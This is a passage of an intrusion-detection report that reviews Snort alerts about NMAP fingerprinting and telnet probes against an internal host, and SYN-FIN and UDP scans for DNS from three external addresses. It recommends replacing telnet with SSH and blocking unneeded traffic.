05/29-07:32:51.529932 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.19.10:23

05/29-07:32:51.529991 [**] NMAP TCP ping! [**] MY.NET.253.12:43756 -> MY.NET.19.10:23
05/29-07:32:54.961892 [**] NMAP TCP ping! [**] MY.NET.253.12:43756 -> MY.NET.19.10:23

Telnet traffic are observed to be directed to host MY.NET.19.10. The host also apparently is suspected to be compromised.

Recommendations: It is advisable to disable telnet services on the host, since it allows one to learn about the type of operating system running on the host, before attempting other exploits. It is suggested to use more secure terminal session application i.e. ssh with certificate based authentication.

Other suspicious traffic

130.225.95.254
213.8.232.31
142.150.225.137

Heavy scanning is observed from the above hosts. The port scanning consists of SYN-FIN scans and UDP scans. On 05/22 the scanning, in high degree, seem to be looking for hosts running DNS services, probably to extend further exploits, since DNS is the most commonly targeted service in an exploit attempt. The scans seems to be conducted in high speed (time ranges in milliseconds) and thus this continuous activity could possibly cause a Denial of Service attack resulting service failure.

Recommendations: It is advisable to block such traffic from penetrating into the network, if such traffic are indeed not required.